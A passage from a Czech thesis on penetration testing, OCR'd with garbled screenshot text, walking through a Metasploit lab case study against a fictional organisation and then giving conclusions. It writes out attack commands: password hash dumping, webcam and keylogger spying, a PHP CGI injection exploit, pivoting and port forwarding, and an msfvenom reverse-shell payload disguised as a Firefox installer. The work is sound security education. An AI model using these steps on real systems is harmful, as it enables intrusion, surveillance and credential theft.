ing from 1112 to 1@60 ...

tion completed successfully.

Obrazek 30 Uspésna migrace Meterpreteru
Zdroj: Vlastni tvorba

Pro dalsi prozkoumavani cilového systému miuze byt vyuZzita rada ptikaza.
Jednim z velmi zajimavych je naptiklad ,hashdump®, ktery automaticky exportuje
zahashovana hesla ze systému. Penetracni tester se pak tato hesla miize napriklad

pomoci programu hashcat pokusit prolomit.

Meterpreter dale disponuje fadou moZnosti pro Spehovani daného pocitace.
Prikazem ,webcam_snap“ je naptiklad moZné vytvorit fotografii pomoci
webkamery. Prikaz ,screenshot” pak, jak jiZ ndzev napovida, vytvori kopii aktualni
obrazovky infikovaného systému. Vysledky vyuziti prikazu ,screenshot jsou ziejmé

7 obrazku 31 a 32.
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V tomto konkrétnim pripadé bylo vyuziti této metody Spehovani pomérné
uspésné. Ze snimku obrazovky priloZeném jako obrazek 32 je zirejmé, Ze uZivatel
infikovaného systému byl prichycen pri kopirovani Textového dokumentu na misto

v internetu s IP adresou 10.0.0.2.

vrs v

Ziskani pristupu k témto souborim a pripadna dalsi ¢innost s nimi (jako je
napiiklad jejich zaSifrovani za uUcCelem vydirani) by byly pro potencidlniho
nepiatelského uto¢nika jednou z priorit kratce po objeveni jejich existence.

Penetracni tester se na né tedy také zaméri.

kali/Llnjtrmwg. jpeg

Obrazek 31 Vytvoreni snimku obrazovky
Zdroj: Vlastni tvorba

Recycle Bin

. &\ =[P » Thelntemet » 10002 » « [%][ Search 10002

T Organize v
Information 9
W Favorites Secret Documents . |
Bl Desktop File folder ]

& Downloads

| Recent Places —‘\ [cecret Informationlog

Firefox Installer.exe

4 Libraries
jﬂ Documents
&) Music
k=| Pictures
E Videos

+& Homegroup

1% Computer
&, Local Disk (C)
¢4 CD Drive (D:) GSH
= KINGSTON (E:) .

€l Network .
= secret Information.txt on 10.0.0.2

Obrazek 32 Snimek obrazovky porizeny skrze Meterpreter
Zdroj: Vlastni tvorba
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Piesnéjsi informace ohledné konkrétni sluzby umoziujici sdileni soubori na
10.0.0.2 vCetné portu, na kterém tato sluzba operuje, je mozné ziskat pomoci skenu
portd a podobnych technik. S prihlédnutim ke snimku obrazovky porizenému
v predchozim kroku je vSak snadno mozné dedukovat, Ze touto sluzbou bude

pravdépodobné FTP, ktera standartné operuje na portech 20 a 21.

Vtomto ptipadé lze vyuZit faktu, Ze existuje prima konektivita mezi
pocitacem penetracniho testera a serverem hostujicim FTP sluzbu a existenci FTP
na portu 21 ovérit prostym pripojenim. Pokud by pfima konektivita mezi témito
stanicemi neexistovala, bylo by nutné vyuzit nékterou ze specialnich technik, které

jsou dale prezentovany v piipadové studii.

Jak je zifejmé z obrazku 33, sluzba FTP je skutetné na serveru 10.0.0.2
zapnutd a nasloucha na standartnim portu. Z obrazku je ale dale zfejmé, Ze FTP
sluzba je nakonfigurovana jako FTP s autorizaci. K pristupu je tedy nejdrive nutné

se autentizovat za pomoci jména a hesla.

0 18.8.8.2
Connected to 10.8.8.2.
220 Welcome to blah FTP service.

MName (10.2.0.2:kali): Kali
Please specify the password.
sword:

Login incorrect.
Login failed

Obrazek 33 Pokus o pristup k FTP
Zdroj: Vlastni tvorba

Zjisténi, Ze je FTP server zabezpeleny, predstavuje pomérné zasadni
prekazku ve snaze pristoupit k datiim zde umisténym. Metasploit pro tyto piipady
obsahuje inastroje, které jsou schopné provést brute-force ¢i slovnikovy utok.
Jednim ztéchto nastroji je i ,auxiliary/scanner/ftp/ftp_login“, ktery slouZzi
specificky k utoku na prihlaSovaci udaje sluzby FTP. Pro ucely pripadové studie je
predpokladano, Ze tento modul, byl vyzkouSen, avSak se nepodarilo prihlasovaci

udaje prolomit.
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Po tomto netspéSném pokusu se zd3, Ze data zde umisténa jsou mimo dosah
penetracniho testera. Nastroj Metasploit Framework vSak nabizi i moZnosti pro

snimani stiskd klaves (obecné znam jako keylogger).

Spusténi keyloggeru pro Windows je v Meterpreteru jednoduché. Postaci
zadani prikazu ,run post/windows/capture/keylogeger”. Detailni ukazku spusténi
kyloggeru je na obrazku 34. Z obrazku je dale ziejmé, do které presné lokace je
zaznam stisknutych klaves uklddan. Ukonceni ¢innosti keyloggeru je pak moZné
za pomoci béZného signalu pro preruSeni pravé probihajictho procesu, tedy

stisknutim kombinace klaves , Ctrl+C"“.

run post/windows/capture/keylog_recorder

xecuting module against JOHNDOE-PC
ting the keyl 'ecaxdﬂx."
jstrokes being saved in to Jhome/kali/.msf4/loot /2024
EELDIdlﬂ? PeyJTIDPﬁ*..

Obrazek 34 Spustény keylogger
Zdroj: Vlastni tvorba
PreCtenim a analyzou souboru, ktery obsahuje zaznam stisknutych klaves je
takto mozné zjistit celou radu zajimavych informaci. Informace, které byly zjistény
v tomto konkrétnim pripadé jsou ziejmé z obrazku 35. Nejzajimavéjsi informaci,
ktera byla pouzitim keyloggeru zjiSténa jsou posledni 2 radky, které pravdépodobné
obsahuji jméno a heslo nutné kautentizaci danému FTP serveru. Zjisténi
prihlasovacich tidaji k FTP serveru predstavuje zasadni posun vpred. Nyni je jiz
moZné se k FTP serveru standartné pripojit, stdhnout vSechny soubory ¢i s nimi

jakkoli jinak manipulovat.
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thmefkaiif.msfﬁflnnthﬂzﬁﬂEBEBEEIBE_default_lﬂ.B.B.S_
Keystroke Llog from explorer.exe on JOHNDOE-PC with user JohnDo

»I am writing secret informations
ou<”“H>cument.<CR>

cument.pdf

2024-92-09 @5:52:25 -@500

Obrazek 35 Zaznam stisknutych klaves
Zdroj: vlastni tvorba

Béhem procesu ziskavani snimkd obrazovky bylo dle scénare pripadové
studie zjiSténo, Ze uzivatel, ktery tento pocita¢ vyuziva, se pravidelné pripojuje
k serveru 10.0.0.2 za pomoci webového prohlizeCe. Na tomto serveru je totiz
spusténa i webova sluzba, ke které se uzivatelé této smyslené organizace pravidelné
pripojuji za uicelem pristupu k jednoduché webové aplikaci, ktera slouZzi ke spravé
jejich dochazky. Alternativné muZe byt pritomnost webové sluzby na serveru
zjiSténa pomoci techniky skenovani portd. Tato moznost je detailné popsana dale

v pripadové studii.

v__ 7 v

Po zjiSténi, Ze na serveru je spusténa mimo FTP sluzby a dalSich i webova
sluZzba, je mozné zkoumat, jestli tato sluzba neobsahuje néjakou zranitelnost. Jednou
z moZnosti je pripojit se k této sluzbé standartné pres webovy prohliZe¢. Nasleduje
prohlidka prezentovaného webu a identifikace zranitelnosti. Ta muze byt
provedena nékolika moznymi zpisoby od vyuziti automatickych nastroji

po manudlni snahu danou sluzbu prozkoumat za acelem dalsi exploitace.

Za timto ucelem byl v pripadové studii vyuzit ndstroj Nmap, ktery diky své

podpoie scripti disponuje rozsdhlymi schopnostmi identifikovat zranitelnosti
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na vybraném cili. Konkrétni syntaxe pro spusténi Nmapu je u pripadové studie
nasledujici: ,Nmap -p 80 --script vuln 10.0.0.2“. Tento prikaz omezuje Nmap
na skenovani pouze portu 80 na vybraném cili s vyuzitim vestavéného scriptu
yvuln“, ktery zkousi identifikovat Sirokou Skalu zranitelnosti. Nastroj v tomto
pripadé identifikoval zranitelnost CVE-2007-6750, kterd umozni provedeni dtoku
typu odepreni piistupu. Dale nastroj Nmap nabizi fadu ndvrhii pro provedeni SQL
injekci a radu jinych potencialnich zranitelnosti. V neposledni fadé se vystupu
programu Nmap nachdzi i informaci o tom, Ze informacni soubor phpinfo.php je
volné dostupny. Tento soubor obsahuje typicky jediny piikaz, ktery spusti PHP
funkci ,phpinfo()“, ktera automaticky vypiSe velmi detailni popis aktualni
konfigurace PHP na daném serveru. Analyzou téchto informaci (konkrétni verze
a nastaveni PHP serveru) je moZné zjistit, Ze tento server je zranitelny na utok CVE-
2012-1823 neboli ,PHP CGI Argument Injection“, ktera umoZiiuje na zakladé cilené
manipulace s http argumenty dosahnout vzdaleného spusténi injektovaného kédu

na cilovém stroji.

Konkrétni nastaveni Metasploit Frameworku za ucelem exploitace této
zranitelnosti je na obrazku 36. Jak je na obrazku vidét, exploit probéhl uspésné
a uspésné byl vracen shell, se kterym je mozZné interagovat. Z obrazku je dale mozné
vidét, Ze nebyl vybran konkrétni payload. Metasploit tedy automaticky vybral
payload typu ,shell bind_tcp“. Tento typ payloadu se od vyrazné lisi od drive
pouZzitého ,meterpreter/reverse_tcp”“. V tomto pripadeé tedy nedojde k vraceni relace
Meterpreteru, ale na vzdaleném pocitaci bude vytvoren handler, ke kterému se pak

bude mozné pripojit k shellu.
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exploit(

whoami
wew—data

index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
twiki

Obrazek 36 Exploitace webové sluzby
Zdroj: Vlastni tvorba

Jak je zfejmé z obrazku 36, exploitace probéhla v poradku. Skutecnost, Ze
vysledkem spojeni neni relace Meterpreteru, ale jen vzdaleny shell, neznamena
neuspéch. Vzdaleny pristup kshellu predstavuje vaZné prolomeni zabezpeceni
aumozni penetra¢nimu testerovi (nebo pripadnému nepratelskému utocnikovi)
Sirokou $kalu moZnosti pro sbér informaci a ovlivnéni chodu samotné funkénosti
a dostupnosti dané sluzby. Pro dalsi ziskani vétSiho rozsahu funkci je vSak spusténi

Meterpreteru na kompromitovaném systému klicové.

Za timto UcCelem je nutné stavajici relaci vzdaleného shellu upozadit vyuzitim
klavesové  zkratky Ctrl+Z a spuSténim modulu Metasploitu ,use
post/multi/manage/shell_to_meterpreter”. Tento modul presné, jak nazev napovida,
umozni vylepsit relaci poskytnutou do konfigura¢ni moznosti ,,SESSION“ na relaci
Meterpreteru. Stejného ucinku je mozné dosahnout prikazem ,sessions -u 3
Cislovka ,3“ v tomto pripadé€ odkazuje na identifika¢ni ¢islo relace a parametr ,-u“
odkazuje na anglické slovo ,upgrade” tedy vylepsSit. Spusténi tohoto modulu je
zobrazeno na obrazku 37. Z obrazku je vidét, Ze spuSténi modulu probéhlo bez

v

problému a Ze nova relace s identifika¢nim ¢islem 4 byla uspésné spusSténa. Namisto
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tohoto relace vzdaleného shellu se ale nyni jedna o plnohodnotnou relaci

Meterpreteru.

msf6 post( } > run

ﬂDt be compatible with this module:
ssion platform: php

oit/ ﬁu1T1,h4ﬂd1~:
TCP handler on lU
(1017704 by '
ession 4 opent [ 414433 2 "-_El_El_:.':-..',r

ress:

PD:t ﬂudul i ﬂﬂp1~
msf6 post(

Obrazek 37 VylepSeni na relaci Meterpreteru
Zdroj: Vlastni tvorba

Po UspéSném navazani relace Meterpreteru je moZzné dale kompromitovany
systém prozkoumadvat. Za timto ucelem je moZné vyuzit vSechny moZnosti, které
byly v ramci této pripadové studie jiZ prezentovany. Vyuzit je ale moZné i celou fadu

dalSich mozZnosti.

Béhem faze prozkoumavani systém byl v tomto piipadé proveden piikaz pro
zobrazeni informaci ohledné konektivity tohoto serveru. Zobrazené vysledky jsou
na obrazku 38. Zasadnim zjiSténim je, Ze tento pocitac obsahuje dvé sitové karty a Ze

je pripojen do dvou rtznych siti.
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msf6 post(
Starting interaction with ¢

r > ifconfig

: lo
Hardware MAC : @@:@0:@00:2@:0@:0@
MTU i
Flags
IPv4 Addre
IPv4 Netm
IPvE Addr
IPvE Netm

Name : eth@

Hardware MAC : @8:@@:27:2f:8c:e@

MTU : 1528

Flags : UP,BROADCAST ,MULTICAST
IPv4 Addre : 1@.8. lDD.u

IPv4 Netm 2 :

IPvE Addr

IPvE Netm

Name : ethl

Hardware MAC : @8:@8@:27:8c:c6:3e

MTU : 15028

Flags : UP, EFDADIA’T MULTICAST
IPv4 Addre : 2

IPv4
IPvE
IPvE

Obrazek 38 Zjisténi existence vzdalené sité
Zdroj: Vlastni tvorba

Zjisténi existence dalsi sité predstavuje velmi diilezitou informaci. O této siti
totiZ nemél penetracni tester vtomto pripadé naprosto Zadné informace.
Penetracnimu testerovi rovnéz schazel i zpisob komunikace s touto siti, protoze
7zddna z dosud kompromitovanych stanic (aZ na tento server) nedisponovala

konektivitou do této sité. Nové nalezena sit’ predstavuje pro penetracniho testera
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dalsi prilezitost pro jesté vétSi prolomeni pocitacovych systéml smyslené

organizace. Tuto sit je tedy vhodné dale prozkoumat.

Jednou zmoznosti, jak to ucinit, je vyuZit primého piistupu shellu
a Meterpreteru na kompromitovaném pocitaci za ucelem instalace nastroji jako je
Nmap, které toto prozkoumavani vzdaleného cile umozni. Tato moznost vsak viibec
neni prakticka a hrozi pti ni pomérné velké riziko odhaleni. Namisto toho je moZné
vyuzit funkce Metasploitu, ktery umozZiuje vyuzit kompromitovany pocitacovy
systém jako prostrednika neboli , proxy* ¢i ,pivot a dalsi komunikaci se vzdalenymi
pocitaci posilat skrze néj. Pro tento ucel je v Metasploitu mozné vyuzit modul
»,post/manage/autoroute”, ktery po nastaveni konfigura¢ni moZnosti ,SESSION“
automaticky prida dostupné pocitacové sité skrze tuto relaci a veSkera komunikace
s nimi v rdmci Metasploitu miiZe byt posilana vyse popsanym zplisobem skrze tuto
vybranou relaci. Spusténi tohoto modulu je zobrazeno na obrazku 39. Pro spusténi
modulu musi byt samozrejmé aktualni relace Meterpreteru z minulého obrazku
prenesena do pozadi standartnim zplsobem tak, aby bylo mozZné s moduly

Metasploitu interagovat a vyuZivat je.

msf6 post( )} = run

[!] SESSION may not be atible with this module:
[!] * incompatible orm: Linux

s
Running module agai ploitable.localdomain
b

Searching for subne to autorou
[+] Route added to subnet 10.0.10@. 5.8 from host's routing table.
[+] Route added to subnet . .255.0 from host's routing table.
Post module execution c
msf6 post(

Obrazek 39 Pridani vzdalenych cest
Zdroj: Vlastni tvorba

Po provedeni uspéSného pridani cest do cile mimo pfimou konektivitu stroje,
na kterém je spustén Metasploit Framework, je nyni uZ mozné s témito vzdalenymi
sitémi v ramci Metasploitu komunikovat, tak jako by mezi strojem a vzdalenou siti
pfima konektivita existovala. DosSlo tak kvelmi vaZznému poruSeni zakladnich

a velmi restriktivnich pravidel, ktera smyslena organizace implementovala.

Za ucCelem prozkoumani této sité je mozné opét vyuzit nastroj Nmap Ci

podobnych nastrojli. Vzhledem k tomu, Ze ale je vzdalena sit pfimo nedostupnj, je
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nezbytné pro spravnou funkci Nmapu vyuzit dal$i techniky a nastroje jako je

napriklad ,proxychains” tak, aby pres tuto mapovani spravné fungovalo.

Jak ale bylo uvedeno v piedchozi kapitole, Metasploit Framework sam
disponuje Sirokou Skalou skenerii a nastrojl pro prozkoumavani siti a konkrétnich
cilovych stanic. Jednou z takovych moZzZnosti je i modul
»post/multi/gather/ping_sweep“, Kktery jak jiZz nazev napovida, provede
prozkoumani cile s vyuzitim zprav ICMP echo. Za ticelem konfigurace tohoto modulu
je nutné nastavit konfigura¢ni moznosti ,,RHOSTS" a ,SESSION“. Vystup po provedeni
modulu je na obrazku 40. Z vystupu je ziejmé, Ze modul byl proveden tspésné
a doslo k objeveni dalsich tfi hostl. Dle IP adresy je mozné dedukovat, ze IP adresa
10.0.100.1 pravdépodobné predstavuje vychozi branu, 10.0.100.2 predstavuje
server a zbyvajici dvé adresy predstavuji nové, dosud neobjevené stroje (uzivatelské

pocitace, servery, kamery, ...).

msf6 post( } > run

Performing ping sweep for IP range 10.0.100.0/24
[+] 18.8.108.4 host found
[+] 12.@.10@.1 host found

[+] 18.@.108@.2 host found
[+] 18.@.10@.2 host found

Post module execution completed
msfé post( )y > |

Obrazek 40 Nalezené vzdalené pocitace
Zdroj: Vlastni tvorba

Po zjisténi existence dalSich zarizeni na vzdalené siti penetracni tester zkousi
dalSi prolomeni zabezpeceni celého pocitatového systému organizace pokusem
o kompromitovani téchto nové objevenych zarizeni. Jednou z nejvice uZitecnych
informaci pro penetracniho testera je seznam sluzeb, které na konkrétnim pocitaci
naslouchaji (tedy seznam otevirenych portti). K tomuto ucelu byva typicky vyuzit
nastroj Nmap. Metasploit Framework vSak disponuje radou stejnych funkci jako
Nmap a mozZnost tohoto skenovani otevienych porti je jednou znich. Za timto
ucelem muze byt vyuzit modul ,auxiliary/scanner/portscan/tcp“. Jak je znazvu
modulu moZné odvodit, jedna se o stejny typ skenovani jako vyuziva v zakladnim

nastaveni i Nmap, tedy plnohodnotny TCP sken. Obrazek 41 obsahuje vystup
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takového skenu pouzitého proti pocitaci 10.0.100.3. Z obrazku je zfejmé, Ze dany
pocitac nasloucha na celé radé portii. Za pozornost vsak stoji port 3389, tedy port
urceny pro RDP, tedy Remote Desktop Protocol. Jedna se o proprietarni protokol

firmy Microsoft, ktery slouzi ke vzdalenému grafickému ptipojeni k pocitaci.
16.8.168.3
10.8.188.3:139 CP OPEN

18.8.1¢ 13 CP OPEN
18.8.1¢ L CP OPEN

19.0.108.3: 9 CP OPEN

10.8.1@ @ CP OPEN
18.8.108.3:5357 CP OPEN
18.8. 108 5 CP OPEN
z Scanned 1 of 1 hosts (10@%
module execution completed
msf6 auxiliary( ) > |

Obrazek 41 Vystup po skenovani portu
Zdroj: Vlastni tvorba

Zjisténi otevireného portu 3389, tedy portu typicky vyuzivaného pro RDP je
pomérné zasadni. Pokud vzdaleny pocita¢ neni zaheslovany nebo vyuZziva pouze
velmi slabé heslo je takto mozné se do pocitace prihlasit a kompromitovat sit cilové

organizace jesté vice nez dosud.

Pokus o pripojeni na vzdaleny pocita¢ pomoci protokolu RDP vSak neni tplné
banalni tkol. Vzdaleny pocitac je dostupny pouze z prostiedi Metasploit Framework
za vyuziti kompromitovaného serveru se dvéma sitovymi kartami jako proxy.
Operacni systém, a tedy i externi programy, kterymi mtize byt naptiklad néktery
znastrojii pro penetracni testovani, popsanych v kapitole 7, Kkonektivitou
nedisponuji. Tento problém je mozné vyreSit za pomoci techniky presmeérovani

portli znamé spise pod svym anglickym nazvem ,port forwarding“.

Vyuziti této techniky spociva v presmérovani komunikace externiho
programu, ktery je spuStén na pocitaci penetracniho testera tak, aby tuto
komunikaci provadél skrze Metasploit Framework, ¢im miZe byt zajiSténo, Ze
externi program, ktery ptivodné konektivitou ke vzdalenému pocitaci nedisponoval,

se nyni k tomuto pocitaci uspésné pripoji.
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Podrobné nastaveni presmérovani portl pro ucel uspéSného pripojeni
na vzdalenou plochu je mozné provést provedenim prikazu ,portfwd add -1 3389 -p
3389 -r 10.0.100.3“ v Meterpreterové relaci, pres kterou ma byt tato komunikace
smérovana. Parametr ,-I“ nastavuje port, na kterém bude naslouchat pocitac
penetracniho testera. Parametr ,-p“ pak analogicky slouZi k upfesnéni konkrétniho
portu, na kterém naslouchd vzdaleny pocitac. Adresa tohoto vzdaleného pocitace je
pak specifikovana parametrem ,-r. Konkrétni provedeni tohoto prikazu je

na obrazku 42.

er > portfwd add -1 33 33 r 18.e.180.3

orward TCP relay created: ( al) :33 » (remote) 10.0.100.3:3389

Obrazek 42 Konfigurace piresmérovani porta
Zdroj: Vlastni tvorba

Jak je tedy ziejmé v minulém kroku, byl Metasploit Framework nastaven tak,
aby poslouchal na portu 3389 penetrac¢niho testera a veSkerou komunikaci, kterou
takto obdrzi dale presmérovaval dle svych smérovacich pravidel na vzdaleny
pocitac. K ovéreni toho, Ze vSe bylo nastaveno spravné’, je pak mozné vyuzit prikaz

hetstat".

Vystup z tohoto piikazu je na obrazku 43. Z obrazku je ziejmé, Ze na adrese
localhost na portu 3389 posloucha proces ,ruby“ s PID 25045. Nazev procesu
vychazi z toho, Ze samotny Metasploit Framework a vSechny jeho moduly jsou
napsany pravé v programovacim jazyce Ruby. VSe se tedy zda byt korektné

nastaveno.

L¢ pet —antp ) 3389
(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)
tcp @ @ 0.0.0.8: 2.0.0.0:*% LISTEN 25045/ Tuby

Obrazek 43 Presmérovani portii pro externi program
Zdroj: Vlastni tvorba

Po dokonceni nastaveni je nyni jiZz moZné spojeni vyzkouSet otevienim
nového terminalového okna a zadanim prikazu ,rdesktop 127.0.0.1“. Z obrazku 44.

Je ziejmé, Ze spojeni bylo Uspésné vytvoreno a Ze presmérovani portd je tedy
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spravné nastaveno. Analogickym zplisobem je pak mozné zajistit konektivitu

ke vzdalenému cili pro kazdy dalsi externi program.

- rdesktop - 127.0.0.1

b C 127.0.0.1

Autoselecting keyboard mag
Core(warning): Certificate
Failed to initialize NLA,
Core(warning): Certificate
Connection established us:

Other user

Obrazek 44 Uspésné navazané spojeni skrze RDP
Zdroj: Vlastni tvorba

Dle zobrazené obrazovky vzdaleného pocitace je moZné urcit, Ze zdejsi
pocita¢ ma nainstalovan operacni systém Microsoft Windows 10. Po kratkém
prozkoumadni tohoto pocitace je dale ziejmé, Ze pocitac je zaheslovany a neni tedy
mozné se do néj snadno prihlasit. Za acelem dalSiho postupu miize byt vyzkousen
néktery ztypu utoku na hesla ¢i je mozZné vzdalenou plochu k prolomeni
zabezpeceni nevyuzit a namisto toho postupovat jinym zptisobem. Z obrazku 41 je
napriklad zrejmé, Ze mimo portu 3389 tento pocita¢ nasloucha jesté na celé radé
dalSich portli a néktery z nich mtiZe byt zranitelny. Pro ucel pripadové studie je vsak

predpokladano, Ze vSechny tyto metody byly vyuzity, avSak netispésné.

Po selhani ostatnich metod pro prolomeni zabezpeceni tohoto pocitace bylo
rozhodnuto vyuzit stejny zplsob utoku jakym byl ovladnut prvni pocitac, tedy
vyuziti Skodlivého souboru. Z obrazku 32, ktery ukazuje obsah FTP serveru, je
ziejmé, Ze kromé dokumentli se na serveru nachazi i spustitelny soubor , Firefox

Installer.exe”. Lze tedy predpokladat, Ze existuje realna Sance, Ze uZivatel tohoto
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vzdaleného pocitaCe dany soubor drive ¢i pozdéji spusti. Kompromitace vzdaleného
pocitace tedy miiZze byt jednodusSe dosaZeno zaménou tohoto instala¢niho souboru

za soubor Skodlivy.

Piiprava na tuto moznost je vSak o poznani naro¢néjsi, nez to bylo v pripadé
prvniho ovladnutého pocitace. Problémem je opét neprima konektivita mezi témito
dvéma stroji. V tomto pripadé vSak nemiiZe byt vyuZito presmérovani specifického
portu na lokalnim stroji na predem urceny port na vzdaleném stroji. Timto typem
presmérovani porti je totiZ mozné zajistit pouze konektivitu externich programi na
vzdaleny pocitac. Pro tento pripad je vSak nutné zajistit konektivitu obracenou, tedy
pripojeni, které inicializuje sam vzdaleny pocitac. Metasploit pro tento pripad nabizi
moznost tzv. ,reverzniho presmérovani porti“, které namisto vyse popsaného
postupu funguje presné obracené. V tomto pripadé pocitac, ktery funguje jako proxy
zatne naslouchat na néjakém predem definovaném portu a veSkerou komunikaci
zde obdrZenou dale presmérovava na specifickou adresu a pod predem
definovanym portem. Z pohledu infikovaného pocitace tedy vSe bude vypadat,

jakoZe tento pocita¢ komunikuje pouze se serverem.

Detail nastaveni reverzniho presmérovani porti je zobrazen na obrazku 45.
Kompletni syntaxe prikazu je: ,portfwd add -R -L 10.0.0.4 -1 5555 -p 6666“. Parametr
»-R“ vtomto pripadé slouzi k nastaveni pravidla jako reverzni. Parametrem ,-p“ je
pak mozZné nastavit port na kterém bude pocitac, ktery je nastaveny jako proxy
naslouchat. Veskera komunikace pak bude piesmérovana na I[P adresu
specifikovanou parametrem ,-L“ pod portem nastavenym parametrem -

» > portfwd add -R -L 18.8.8.4 -1 5555 -p 6666
TCP relay created: (remote) [::]:6666 — (local) 18.0.0.4:5555

Obrazek 45 Nastaveni revezniho presmérovani porta
Zdroj: Vlastni tvorba

Pro pripravu Skodlivého souboru je opét mozné vyuzit program ,msfvenom®.
Prijeho nastaveni je opét nutné mit na pameéti, Ze neexistuje prima konektivita mezi

stroji a vSe peclivé nastavit presné tak, jak bylo pripraveno v minulém kroku.
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Syntaxe pouzitého prikazu pro vytvoreni Skodlivého souboru je tedy
,msfvenom -p ,windows/meterpreter/reverese_tcp -e x86/shikata_ga_nai -i 5
LHOST=10.0.100.2 LPORT=6666 -f exe -o FirefoxInstaller.exe”. PouZity ptikaz
funguje presné stejnym zptisobem jako pti vytvoreni prvniho Skodlivého souboru.

Cilem pripojenti je ale namisto pocitace penetrac¢niho testera proxy server.

Jesté pred samotnym nahranim Skodlivého souboru na FTP sluzbu serveru
10.0.0.2/10.0.100.2 je potieba pripravit handler. Jeho konfiguraci je mozné vidét
na obrazku 46. Opét se jedna o 1:1 mapovani dle pripraveného skodlivého souboru.
Port, na kterym handler naslouchs, je tedy nastaven na 5555, IP adresa na 10.0.0.4
ajako payload je pouZit Meterpreter pro Windows, ktery bude fungovat pres

reverzni spojeni TCP. Inicidtorem spojeni je tedy opét vzdaleny pocitac.

exploit/multi/handler
' configured payload generic/shell_reverse_tcp
it( ) = load windows/meterpreter/reverse_tcp

= —|=
Ly s e

Obrazek 46 Priprava hanlderu
Zdroj: Vlastni tvorba

Po dokonceni pripravy je nyni jiZ moZné Skodlivy soubor nahrat na FTP
server. Toho muze byt snadno dosazeno skrze ovladnuty pocitac¢ 10.0.0.3 ¢i ptimo
nahranim souboru pres samotny server 10.0.0.2/10.0.100.2, ktery byl rovnéz

v ramci penetracniho testu ovladnut.

Dalsi faze penetracniho testu nastava az spolec¢né se spusténim skodlivého
souboru na vzdaleném pocitaci. Jak je ale zrejmé z obrazku 87. Vzdaleny pocitac
zFejmé vyuziva novou a plné aktualizovanou verzi opera¢niho systému spole¢né
s nainstalovanym antivirovym softwarem. Skodlivy soubor byl tedy ihned

detekovan a zarazen do karantény.
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L&l 2,.’9,."2{]24 115 PM

kB
Threat quarantined
© a Severe
2/9/2024 1:14 PM
) Detected: Trojan:Win32/Meterprater.A
Status: Quarantined
Quarantined files are in a restricted area where they can't harm your device,
8 They will be removed automatically.
=} Date: 2/9/2024 1:14 PM
Details: This program is dangerous and executes commands from an
attacker.
@
Affected items:
dh file: C:\Users\user\&ppData\Local\Microsoft\Windows\ifietCache\|E

AS2SRIHT 1\ Firefoxinstaller[1].exe

file: C:\Users\user\Desktop\Firefoxinstaller.exe

Learn more

Actions v

Obrazek 47 Detekce Skodlivého souboru
Zdroj: Vlastni tvorba
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10 Zavery a doporuceni

V ramci zpracovani prace bylo dosazeno vSech stanovenych hlavnich i dil¢ich cilti.
V avodnich ¢astech prace byla podrobné predstavena problematika penetracnich
testll vCetné zakladnich pojmi tykajicich se této oblasti. Na toto bylo navazano
analyzou soucasné legislativy a norem. Z této analyzy vyplynula dilezita skute¢nost:
penetracni testovani neni jen prostredkem ke zlepSeni zabezpeceni; pro zdkonem
urcené subjekty se jedna i o legislativni povinnost. Rozsireni mnoZstvi regulovanych
organizaci z priblizné 400 na vice nez 6000, které je planovano v souvislosti
s implementaci nové evropské smérnice NIS2 do ceské legislativy, déla toto téma

navic velmi aktualnim.

Soucasti této prace je tedy i analyza soucasnych metod a pristuptli v oblasti
penetracniho testovani stejné jako predstaveni rady z nejpouzivanéjsich nastroji
vyuzivanych za timto ucelem. Nastroji Metasploit framework byla pak vénovana
samostatnd kapitola vCetné navazujici ptripadové studie, kterd byla zpracovana

za vyuZziti tohoto nastroje.

V ptipadové studii byla pfedstavena drobna smyslena organizace a ukazkovy
ptipad jakym by bylo mozné pocitacovou sit' této organizace kompromitovat.
Dilezitou soucasti bylo vyuziti pocitace se dvéma sitovimi kartami, za tcelem
demonstrace dosazZeni vzdalené a nedostupné sité. Tento prvek tedy predstavuje
vyraznou slabinu z pohledu zabezpeceni. Vtomto konkrétnim pripadé by bylo
mozné vydat doporuceni nevyuzivat tuto sitovou architekturu, presné kvtili tomuto
riziku. Je vSak zfejmé, Ze tato sitova architektura v nékterych pripadech dava smysl
z praktickych divodi. Jako variaci tohoto piistupu je napiiklad mozné povazovat
vyuzivani virtualnich privatnich siti (VPN, které je dnes Casté zejména kvili rostouci
popularité prace zdomova. Proto spiSe, nez plo$Sné zakazani dava vétSi smysl
veskeré vyuZiti této sitove architektury maximalné omezit a pocCitace, které i pres to

disponuji konektivitou do vice siti, diisledné zabezpecit.

Dal8i zasadni doporuceni vychazi ze zavéru pripadové studie, ve které byl
proveden pokus o kompromitaci jednoho z pocitaci ve vzdalené siti. Za timto

ucelem byl vyuzit obdobny postup jako v pripadé prvniho pocitace. Zasadni rozdil
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ovSem spocival ve verzi operatniho systému, ktery byl v druhém pripadé plné
aktualizovany Windows 10 se spusténym anti-malwarovym softwarem. DlleZitym
doporucenim tedy je diisledné dbat na vyuzivani aktualizovanych operac¢nich

systému stejné jako ostatniho softwarového vybaveni pocitac.

Béhem pripadové studie byl rovnéZ kompromitovan server, ktery zajistoval
uloZny prostor celé organizace. Pokud by se jednalo o skute¢ny nepratelsky utok,
tak takto kompromitované zabezpeceni serveru by mohlo v praxi znamenat i ztratu
vSech dat organizace. Stoprocentni jistota bezpeci dat neni ani v pripadé vyuziti
aktualizovaného softwaru a anti-malwarové ochrany. Je dilezité totiz pripomenout
existenci zero-day exploitii, pred kterymi je preventivni ochrana velmi naro¢na az
nemozna. Je tedy nezbytna dilezitd data za vSech okolnosti peclivé zalohovat,
nejlépe na vzdaleném misté, na kterém musi byt opét peclivé zajiSténa bezpecfnost

sité.

Problematika penetracnich testli a kyberbezpecnosti ma mnoho smeéri, které
by $lo rozvijet v dalSich pracich. Pfipadova studie napriklad probéhla z praktickych
divodi na pomérné jednoduchém prostiedi, které simulovalo velmi malou
organizaci. Bylo by zajimavé zjisténé poznatky otestovat na komplexnéjSim c¢i
redlném prostredi, které vyuzivd doménovy kontrolér ke spravé uZzivatelskych
stanic. DalSim zajimavym smeérem pro dalS$i prace by také mohlo byt bliZsi
sezndmeni s dalSimi nastroji predstavenymi v kapitole 7. Nastroj Nmap se napriklad
ukazal byt velmi vSestranny a prakticky, kvili ¢emuZz byl nakonec vyuZzit

i v pripadové studii.
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